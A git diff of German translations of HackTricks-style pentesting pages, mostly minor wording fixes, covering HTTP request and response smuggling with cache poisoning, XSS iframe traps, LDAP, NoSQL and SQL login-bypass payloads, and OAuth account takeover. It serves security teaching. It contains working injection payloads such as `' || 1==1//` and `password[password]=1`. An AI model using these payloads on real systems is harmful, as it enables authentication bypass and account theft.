Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort reflektiert werden.\
|
||||
Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, sodass dies **zum Beispiel in einer zwischengespeicherten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen**.
|
||||
|
||||
### Ausnutzen von TRACE über HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) zu verfolgen, um eine weitere Möglichkeit auszunutzen, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es durch das Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage möglich, **einige widergespiegelte Daten** in der Antwort auf die HEAD-Anfrage zu **steuern**. Die Länge des Körpers der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.
|
||||
Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) zu verfolgen, um eine weitere Möglichkeit auszunutzen, die TRACE-Methode zu missbrauchen. Wie kommentiert, ist es durch das Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage möglich, **einige reflektierte Daten** in der Antwort auf die HEAD-Anfrage zu **steuern**. Die Länge des Körpers der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.
|
||||
|
||||
Daher wäre die neue Idee, dass es, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen).
|
||||
Daher wäre die neue Idee, dass, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen).
|
||||
|
||||
Beispiel:
|
||||
```
|
||||
@ -703,7 +703,7 @@ table.add(req)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasiertes HTTP-Fuzzer, das nützlich ist, um seltsame Unterschiede beim Request Smuggling zu finden.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasierter HTTP-Fuzzer, der nützlich ist, um seltsame Unterschiede beim Request Smuggling zu finden.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
Zunächst einmal **missbraucht diese Technik eine HTTP Request Smuggling-Schwachstelle**, daher müssen Sie wissen, was das ist:
|
||||
|
||||
Der **Hauptunterschied** zwischen dieser Technik und einem gängigen HTTP Request Smuggling ist, dass wir **anstatt** die **Anfrage** des **Opfers** **durch Hinzufügen eines Präfixes anzugreifen**, die **Antwort, die das Opfer erhält, leaken oder modifizieren** werden. Dies geschieht, indem wir **anstatt 1,5 Anfragen zu senden, um das HTTP Request Smuggling auszunutzen, 2 vollständige Anfragen senden, um die Antwortwarteschlange der Proxys zu desynchronisieren**.
|
||||
Der **Hauptunterschied** zwischen dieser Technik und einem gängigen HTTP Request Smuggling besteht darin, dass wir **statt** die **Anfrage** des **Opfers** **durch Hinzufügen eines Präfixes anzugreifen**, die **Antwort, die das Opfer erhält, leaken oder modifizieren** werden. Dies geschieht, indem wir **anstatt 1,5 Anfragen zu senden, um das HTTP Request Smuggling auszunutzen, 2 vollständige Anfragen senden, um die Antwortwarteschlange der Proxys zu desynchronisieren**.
|
||||
|
||||
Das liegt daran, dass wir in der Lage sein werden, die **Antwortwarteschlange zu desynchronisieren**, sodass die **Antwort** der **legitimen** **Anfrage** des **Opfers an den Angreifer gesendet wird**, oder indem wir **Inhalte, die vom Angreifer kontrolliert werden, in die Antwort an das Opfer injizieren**.
|
||||
|
||||
@ -20,7 +20,7 @@ Es gibt jedoch ein Problem bei der Desynchronisation der Antwortwarteschlange. W
|
||||
|
||||
.png>)
|
||||
|
||||
Daher ist es notwendig, dass die **geschmuggelte** **Anfrage** **mehr Zeit benötigt, um verarbeitet zu werden**. Daher wird die Kommunikation mit dem Angreifer beendet sein, wenn die geschmuggelte Anfrage verarbeitet wird.
|
||||
Daher ist es notwendig, dass die **geschmuggelte** **Anfrage** **länger benötigt, um verarbeitet zu werden**. Wenn die geschmuggelte Anfrage verarbeitet wird, wird die Kommunikation mit dem Angreifer beendet sein.
|
||||
|
||||
Wenn in dieser speziellen Situation ein **Opfer eine Anfrage gesendet hat** und die **geschmuggelte Anfrage vor** der legitimen Anfrage beantwortet wird, wird die **geschmuggelte Antwort an das Opfer gesendet**. Daher wird der Angreifer die **Anfrage "ausgeführt" vom Opfer kontrollieren**.
|
||||
|
||||
@ -32,7 +32,7 @@ Darüber hinaus, wenn der **Angreifer dann eine Anfrage ausführt** und die **le
|
||||
|
||||
### Multiple Nested Injections
|
||||
|
||||
Ein weiterer **interessanter Unterschied** zu gängigem **HTTP Request Smuggling** ist, dass bei einem gängigen Schmuggelangriff das **Ziel** darin besteht, den **Anfang der Anfrage des Opfers zu modifizieren**, sodass sie eine unerwartete Aktion ausführt. Bei einem **HTTP Response Smuggling-Angriff**, da Sie **vollständige Anfragen senden**, können Sie **in einem Payload Dutzende von Antworten injizieren**, die **Dutzende von Benutzern desynchronisieren**, die die **injizierten** **Antworten** **erhalten**.
|
||||
Ein weiterer **interessanter Unterschied** zu gängigem **HTTP Request Smuggling** besteht darin, dass das **Ziel** bei einem gängigen Smuggling-Angriff darin besteht, den **Beginn der Anfrage des Opfers zu modifizieren**, sodass sie eine unerwartete Aktion ausführt. Bei einem **HTTP Response Smuggling-Angriff**, da Sie **vollständige Anfragen senden**, können Sie **in einem Payload Dutzende von Antworten injizieren**, die **Dutzende von Benutzern desynchronisieren**, die die **injizierten** **Antworten** **erhalten**.
|
||||
|
||||
Neben der Möglichkeit, **Dutzende von Exploits leichter auf legitime Benutzer zu verteilen**, könnte dies auch verwendet werden, um einen **DoS** auf dem Server zu verursachen.
|
||||
|
||||
@ -42,7 +42,7 @@ Wie zuvor erklärt, um diese Technik auszunutzen, ist es notwendig, dass die **e
|
||||
|
||||
Diese **zeitaufwendige Anfrage ist ausreichend**, wenn wir nur versuchen wollen, die Antwort des Opfers zu **stehlen**. Aber wenn Sie einen komplexeren Exploit durchführen möchten, wird dies eine gängige Struktur für den Exploit sein.
|
||||
|
||||
Zunächst die **initiale** Anfrage, die **HTTP** **Request** **Smuggling** ausnutzt, dann die **zeitaufwendige Anfrage** und dann **1 oder mehr Payload-Anfragen**, deren Antworten an die Opfer gesendet werden.
|
||||
Zunächst die **initiale** Anfrage, die **HTTP** **Request** **Smuggling** missbraucht, dann die **zeitaufwendige Anfrage** und dann **1 oder mehr Payload-Anfragen**, deren Antworten an die Opfer gesendet werden.
|
||||
|
||||
## Missbrauch der HTTP Response Queue Desynchronisation
|
||||
|
||||
@ -54,7 +54,7 @@ Zunächst sendet der Angreifer ein Payload, das eine **abschließende POST-Anfra
|
||||
|
||||
.png>)
|
||||
|
||||
Dann, sobald die **initiale Anfrage** (blau) **verarbeitet** wurde und **während** die **schlafende** (gelb) verarbeitet wird, wird die **nächste Anfrage, die von einem Opfer eintrifft**, in die Warteschlange direkt nach dem reflektierten Parameter **angehängt**:
|
||||
Dann, sobald die **initiale Anfrage** (blau) **verarbeitet** wurde und **während** die **schlafende** verarbeitet wird (gelb), wird die **nächste Anfrage, die von einem Opfer eintrifft**, in die Warteschlange direkt nach dem reflektierten Parameter **angehängt**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -72,7 +72,7 @@ Wenn ein Angreifer also eine **HEAD**-Anfrage **injiziert**, wie in diesen Bilde
|
||||
|
||||
.png>)
|
||||
|
||||
Dann, **sobald die blaue Anfrage an den Angreifer beantwortet wird**, wird die nächste Anfrage des Opfers in die Warteschlange eingeführt:
|
||||
Dann, **sobald die blaue beantwortet wird**, wird die nächste Anfrage des Opfers in die Warteschlange eingeführt:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -88,7 +88,7 @@ Folgendes Beispiel zeigt, dass Sie **den Körper** der Anfrage, deren Antwort da
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Wenn Sie den zuvor kommentierten Angriff zur Desynchronisation der Antwort Content Confusion ausnutzen, **wenn der Cache die Antwort auf die vom Opfer ausgeführte Anfrage speichert und diese Antwort eine injizierte ist, die ein XSS verursacht, dann ist der Cache vergiftet**.
|
||||
Wenn Sie den zuvor kommentierten Angriff zur Desynchronisation der Antwort Content Confusion missbrauchen, **wenn der Cache die Antwort auf die vom Opfer ausgeführte Anfrage speichert und diese Antwort eine injizierte ist, die ein XSS verursacht, dann ist der Cache vergiftet**.
|
||||
|
||||
Bösartige Anfrage, die das XSS-Payload enthält:
|
||||
|
||||
@ -99,7 +99,7 @@ Bösartige Antwort an das Opfer, die den Header enthält, der dem Cache anzeigt,
|
||||
.png>)
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass in diesem Fall, wenn das **"Opfer" der Angreifer ist**, er jetzt **Cache Poisoning in beliebigen URLs** durchführen kann, da er **die URL, die im Cache gespeichert werden soll, mit der bösartigen Antwort kontrollieren kann**.
|
||||
> Beachten Sie, dass in diesem Fall, wenn das **"Opfer" der Angreifer ist**, er jetzt **Cache Poisoning in beliebigen URLs** durchführen kann, da er **die URL, die mit der bösartigen Antwort zwischengespeichert werden soll, kontrollieren kann**.
|
||||
|
||||
### Web Cache Deception
|
||||
|
||||
@ -111,7 +111,7 @@ Dieser Angriff ist ähnlich wie der vorherige, aber **anstatt ein Payload im Cac
|
||||
|
||||
Das **Ziel** dieses Angriffs ist es, erneut die **Antwort** **desynchronisation** auszunutzen, um **den Proxy dazu zu bringen, eine 100% vom Angreifer generierte Antwort zu senden**.
|
||||
|
||||
Um dies zu erreichen, muss der Angreifer einen Endpunkt der Webanwendung finden, der **einige Werte in der Antwort reflektiert** und **den Content-Length der HEAD-Antwort kennen**.
|
||||
Um dies zu erreichen, muss der Angreifer einen Endpunkt der Webanwendung finden, der **einige Werte in der Antwort reflektiert** und **die Content-Length der HEAD-Antwort kennen**.
|
||||
|
||||
Er wird einen **Exploit** wie folgt senden:
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Diese Form des Missbrauchs von XSS über Iframes, um Informationen von Benutzern zu stehlen, die sich auf der Webseite bewegen, wurde ursprünglich in diesen 2 Beiträgen von trustedsec.com veröffentlicht: [**hier**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **und** [**hier**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
Der Angriff beginnt auf einer Seite, die anfällig für XSS ist, wo es möglich ist, die **Opfer dazu zu bringen, das XSS nicht zu verlassen**, indem man sie **innerhalb eines Iframes navigieren lässt**, der die gesamte Webanwendung einnimmt.
|
||||
Der Angriff beginnt auf einer Seite, die anfällig für XSS ist, wo es möglich ist, die **Opfer daran zu hindern, die XSS zu verlassen**, indem man sie **innerhalb eines Iframes navigieren lässt**, der die gesamte Webanwendung einnimmt.
|
||||
|
||||
Der XSS-Angriff lädt im Grunde die Webseite in einem Iframe, der 100% des Bildschirms einnimmt. Daher wird das Opfer **nicht bemerken, dass es sich in einem Iframe befindet**. Wenn das Opfer dann auf der Seite navigiert, indem es Links innerhalb des Iframes (innerhalb des Webs) anklickt, wird es **innerhalb des Iframes navigieren**, während das willkürliche JS Informationen aus dieser Navigation stiehlt.
|
||||
|
||||
@ -18,6 +18,6 @@ Darüber hinaus ist es möglich, einige **Listener** zu verwenden, um zu überpr
|
||||
|
||||
Darüber hinaus ist es möglich, Listener zu verwenden, um sensible Informationen zu stehlen, nicht nur die anderen Seiten, die das Opfer besucht, sondern auch die Daten, die zum **Ausfüllen von Formularen** verwendet werden, und sie zu senden (Anmeldeinformationen?) oder um **den lokalen Speicher zu stehlen**...
|
||||
|
||||
Natürlich sind die Hauptbeschränkungen, dass ein **Opfer den Tab schließt oder eine andere URL im Browser eingibt, wodurch es dem Iframe entkommt**. Eine andere Möglichkeit, dies zu tun, wäre, die **Seite zu aktualisieren**, jedoch könnte dies teilweise **verhindert** werden, indem das Kontextmenü mit der rechten Maustaste jedes Mal deaktiviert wird, wenn eine neue Seite im Iframe geladen wird, oder indem man bemerkt, wenn die Maus des Benutzers den Iframe verlässt, möglicherweise um auf die Schaltfläche "Aktualisieren" des Browsers zu klicken. In diesem Fall wird die URL des Browsers mit der ursprünglichen URL, die anfällig für XSS ist, aktualisiert, sodass, wenn der Benutzer sie aktualisiert, sie erneut vergiftet wird (beachten Sie, dass dies nicht sehr heimlich ist).
|
||||
Natürlich sind die Hauptbeschränkungen, dass ein **Opfer den Tab schließt oder eine andere URL im Browser eingibt, wodurch es dem Iframe entkommt**. Eine andere Möglichkeit, dies zu tun, wäre, die **Seite zu aktualisieren**, jedoch könnte dies teilweise **verhindert** werden, indem das Kontextmenü mit der rechten Maustaste jedes Mal deaktiviert wird, wenn eine neue Seite im Iframe geladen wird, oder indem festgestellt wird, wenn die Maus des Benutzers den Iframe verlässt, möglicherweise um die Schaltfläche "Aktualisieren" des Browsers zu klicken, und in diesem Fall wird die URL des Browsers mit der ursprünglichen URL, die anfällig für XSS ist, aktualisiert, sodass, wenn der Benutzer sie aktualisiert, sie erneut vergiftet wird (beachten Sie, dass dies nicht sehr heimlich ist).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -44,7 +44,7 @@ Sie können auf die Datenbank zugreifen, und diese kann Informationen vieler ver
|
||||
**ADAM oder Microsoft LDS**: Bei 2 Filtern wird ein Fehler ausgegeben.\
|
||||
**SunOne Directory Server 5.0**: Führt beide Filter aus.
|
||||
|
||||
**Es ist sehr wichtig, den Filter mit der korrekten Syntax zu senden, da sonst ein Fehler ausgegeben wird. Es ist besser, nur 1 Filter zu senden.**
|
||||
**Es ist sehr wichtig, den Filter mit der richtigen Syntax zu senden, da sonst ein Fehler ausgegeben wird. Es ist besser, nur 1 Filter zu senden.**
|
||||
|
||||
Der Filter muss mit: `&` oder `|` beginnen\
|
||||
Beispiel: `(&(directory=val1)(folder=public))`
|
||||
|
||||
@ -10,13 +10,13 @@ Wenn Sie eine Login-Seite finden, können Sie hier einige Techniken finden, um s
|
||||
- Überprüfen Sie, ob Sie **direkt auf die eingeschränkten Seiten zugreifen können**
|
||||
- Überprüfen Sie, ob Sie **die Parameter nicht senden** (keine oder nur 1 senden)
|
||||
- Überprüfen Sie den **PHP-Vergleichsfehler:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
- **Ändern Sie den Inhaltstyp in json** und senden Sie json-Werte (bool true eingeschlossen)
|
||||
- **Ändern Sie den Inhaltstyp auf json** und senden Sie json-Werte (bool true eingeschlossen)
|
||||
- Wenn Sie eine Antwort erhalten, die besagt, dass POST nicht unterstützt wird, können Sie versuchen, das **JSON im Body, aber mit einer GET-Anfrage** mit `Content-Type: application/json` zu senden
|
||||
- Überprüfen Sie den möglichen Parsing-Fehler von nodejs (lesen Sie [**dies**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
- Nodejs wird diese Payload in eine Abfrage umwandeln, die der folgenden ähnelt: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` was dazu führt, dass das Passwort immer wahr ist.
|
||||
- Wenn Sie ein JSON-Objekt senden können, können Sie `"password":{"password": 1}` senden, um den Login zu umgehen.
|
||||
- Denken Sie daran, dass Sie, um diesen Login zu umgehen, immer einen **gültigen Benutzernamen kennen und senden müssen**.
|
||||
- **Hinzufügen von `"stringifyObjects":true`** Option beim Aufruf von `mysql.createConnection` wird schließlich **alle unerwarteten Verhaltensweisen blockieren, wenn `Object` im Parameter übergeben wird.**
|
||||
- **Hinzufügen von `"stringifyObjects":true`** Option beim Aufruf von `mysql.createConnection` wird schließlich **alle unerwarteten Verhaltensweisen blockieren, wenn `Object` im Parameter übergeben wird**.
|
||||
- Überprüfen Sie die Anmeldeinformationen:
|
||||
- [**Standardanmeldeinformationen**](../../generic-hacking/brute-force.md#default-credentials) der verwendeten Technologie/Plattform
|
||||
- **Häufige Kombinationen** (root, admin, password, Name der Technologie, Standardbenutzer mit einem dieser Passwörter).
|
||||
@ -75,7 +75,7 @@ admin))(|(|
|
||||
```
|
||||
### Remember Me
|
||||
|
||||
Wenn die Seite die Funktionalität "**Remember Me**" hat, überprüfen Sie, wie sie implementiert ist, und sehen Sie, ob Sie sie missbrauchen können, um **andere Konten zu übernehmen**.
|
||||
Wenn die Seite eine "**Remember Me**" Funktionalität hat, überprüfen Sie, wie sie implementiert ist, und sehen Sie, ob Sie sie missbrauchen können, um **andere Konten zu übernehmen**.
|
||||
|
||||
### Redirects
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
Diese Liste enthält **Payloads, um den Login über XPath, LDAP und SQL-Injection zu umgehen** (in dieser Reihenfolge).
|
||||
|
||||
Die Verwendung dieser Liste besteht darin, die **ersten 200 Zeilen als Benutzernamen und Passwort einzugeben.** Dann die vollständige Liste zuerst in das Benutzernamenfeld und dann in das Passwortfeld eingeben, während ein Passwort (wie _Pass1234._) oder ein bekannter Benutzername (wie _admin_) eingegeben wird.
|
||||
Die Verwendung dieser Liste besteht darin, die **ersten 200 Zeilen als Benutzernamen und Passwort einzugeben.** Dann die vollständige Liste zuerst in das Benutzerfeld und dann in das Passwortfeld eingeben, während ein Passwort (wie _Pass1234._) oder ein bekannter Benutzername (wie _admin_) eingegeben wird.
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
||||
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie erfüllt wird (`'a'=='a'`). Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
|
||||
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
{"username": {"$gt":""}, "password": {"$gt":""}}
|
||||
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
||||
```
|
||||
## Blind NoSQL Script
|
||||
## Blinder NoSQL-Skript
|
||||
```python
|
||||
import requests, string
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# OAuth zu Kontoübernahme
|
||||
# OAuth zu Accountübernahme
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,9 +11,9 @@ Betrachten Sie eine hypothetische Website _**https://example.com**_, die **alle
|
||||
|
||||
Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu verstehen:
|
||||
|
||||
- **resource owner**: Sie, als der **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Kontenbeiträge.
|
||||
- **resource owner**: Sie, als **Benutzer/Entität**, autorisieren den Zugriff auf Ihre Ressource, wie Ihre Social-Media-Kontenbeiträge.
|
||||
- **resource server**: Der **Server, der authentifizierte Anfragen verwaltet**, nachdem die Anwendung ein `access token` im Namen des `resource owner` gesichert hat, z. B. **https://socialmedia.com**.
|
||||
- **client application**: Die **Anwendung, die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
|
||||
- **client application**: Die **Anwendung, die die Autorisierung** vom `resource owner` anfordert, wie **https://example.com**.
|
||||
- **authorization server**: Der **Server, der `access tokens`** an die `client application` nach erfolgreicher Authentifizierung des `resource owner` und Sicherstellung der Autorisierung ausgibt, z. B. **https://socialmedia.com**.
|
||||
- **client_id**: Ein öffentlicher, eindeutiger Identifikator für die Anwendung.
|
||||
- **client_secret:** Ein vertraulicher Schlüssel, der nur der Anwendung und dem Autorisierungsserver bekannt ist, der zur Generierung von `access_tokens` verwendet wird.
|
||||
@ -22,7 +22,7 @@ Es ist wichtig, die folgenden Komponenten innerhalb des OAuth 2.0-Frameworks zu
|
||||
- **redirect_uri**: Die **URL, zu der der Benutzer nach der Autorisierung umgeleitet wird**. Diese muss in der Regel mit der vorab registrierten Umleitungs-URL übereinstimmen.
|
||||
- **state**: Ein Parameter, um **Daten während der Umleitung des Benutzers zum und vom Autorisierungsserver** zu erhalten. Seine Einzigartigkeit ist entscheidend, um als **CSRF-Schutzmechanismus** zu dienen.
|
||||
- **grant_type**: Ein Parameter, der **den Grant-Typ und den zurückzugebenden Token-Typ** angibt.
|
||||
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erhalten.
|
||||
- **code**: Der Autorisierungscode vom `authorization server`, der zusammen mit `client_id` und `client_secret` von der Client-Anwendung verwendet wird, um ein `access_token` zu erwerben.
|
||||
- **access_token**: Der **Token, den die Client-Anwendung für API-Anfragen** im Namen des `resource owner` verwendet.
|
||||
- **refresh_token**: Ermöglicht der Anwendung, **ein neues `access_token` zu erhalten, ohne den Benutzer erneut zu fragen**.
|
||||
|
||||
@ -45,7 +45,7 @@ https://socialmedia.com/auth
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com nutzt diesen `code`, zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
|
||||
5. https://example.com verwendet diesen `code` zusammen mit seiner `client_id` und `client_secret`, um eine serverseitige Anfrage zu stellen, um ein `access_token` in Ihrem Namen zu erhalten, das den Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
@ -55,15 +55,13 @@ Host: socialmedia.com
|
||||
|
||||
## Schwachstellen <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Offene redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Implementierungen, da sie angibt, wohin sensible Daten, wie Autorisierungscodes, nach der Autorisierung gesendet werden. Wenn sie falsch konfiguriert ist, könnte dies Angreifern ermöglichen, diese Anfragen an bösartige Server umzuleiten, was einen Account Takeover ermöglicht.
|
||||
|
||||
Die `redirect_uri` ist entscheidend für die Sicherheit in OAuth- und OpenID-Implementierungen, da sie angibt, wohin sensible Daten, wie Autorisierungscodes, nach der Autorisierung gesendet werden. Wenn sie falsch konfiguriert ist, könnte dies Angreifern ermöglichen, diese Anfragen an bösartige Server umzuleiten, was einen Account-Übernahme ermöglicht.
|
||||
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeitungsmethoden gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
|
||||
|
||||
Die Ausbeutungstechniken variieren je nach Validierungslogik des Autorisierungsservers. Sie können von striktem Pfadabgleich bis hin zur Akzeptanz beliebiger URLs innerhalb der angegebenen Domain oder Unterverzeichnisse reichen. Zu den gängigen Ausbeutungstechniken gehören offene Umleitungen, Pfadtraversierung, das Ausnutzen schwacher Regex und HTML-Injection zum Diebstahl von Tokens.
|
||||
Neben der `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
|
||||
|
||||
Neben `redirect_uri` sind auch andere OAuth- und OpenID-Parameter wie `client_uri`, `policy_uri`, `tos_uri` und `initiate_login_uri` anfällig für Umleitungsangriffe. Diese Parameter sind optional und ihre Unterstützung variiert je nach Server.
|
||||
|
||||
Für diejenigen, die einen OpenID-Server anvisieren, listet der Entdeckungsendpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration` auf. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
|
||||
Für diejenigen, die einen OpenID-Server anvisieren, listet der Discovery-Endpunkt (`**.well-known/openid-configuration**`) oft wertvolle Konfigurationsdetails wie `registration_endpoint`, `request_uri_parameter_supported` und "`require_request_uri_registration`. Diese Details können helfen, den Registrierungsendpunkt und andere Konfigurationsspezifika des Servers zu identifizieren.
|
||||
|
||||
### XSS in der Umleitungsimplementierung <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -73,24 +71,24 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Unsachgemäße Handhabung des Statusparameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle tritt auf, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
|
||||
In OAuth-Implementierungen kann der Missbrauch oder das Versäumnis des **`state`-Parameters** das Risiko von **Cross-Site Request Forgery (CSRF)**-Angriffen erheblich erhöhen. Diese Schwachstelle entsteht, wenn der `state`-Parameter entweder **nicht verwendet, als statischer Wert verwendet oder nicht ordnungsgemäß validiert** wird, was Angreifern ermöglicht, CSRF-Schutzmaßnahmen zu umgehen.
|
||||
|
||||
Angreifer können dies ausnutzen, indem sie den Autorisierungsprozess abfangen, um ihr Konto mit dem Konto eines Opfers zu verknüpfen, was zu potenziellen **Kontoübernahmen** führen kann. Dies ist besonders kritisch in Anwendungen, in denen OAuth für **Authentifizierungszwecke** verwendet wird.
|
||||
|
||||
Echte Beispiele für diese Schwachstelle wurden in verschiedenen **CTF-Herausforderungen** und **Hacking-Plattformen** dokumentiert, die ihre praktischen Auswirkungen hervorheben. Das Problem erstreckt sich auch auf Integrationen mit Drittanbieterdiensten wie **Slack**, **Stripe** und **PayPal**, bei denen Angreifer Benachrichtigungen oder Zahlungen auf ihre Konten umleiten können.
|
||||
|
||||
Eine ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
|
||||
Die ordnungsgemäße Handhabung und Validierung des **`state`-Parameters** ist entscheidend, um sich gegen CSRF zu schützen und den OAuth-Fluss abzusichern.
|
||||
|
||||
### Vor der Kontoübernahme <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vom Angreifer erstellten Konto verknüpfen, was zu unbefugtem Zugriff führt.
|
||||
1. **Ohne E-Mail-Verifizierung bei der Kontoerstellung**: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieterdienst für die Anmeldung verwendet, könnte die Anwendung versehentlich dieses Drittanbieter-Konto mit dem vorab erstellten Konto des Angreifers verknüpfen, was zu unbefugtem Zugriff führt.
|
||||
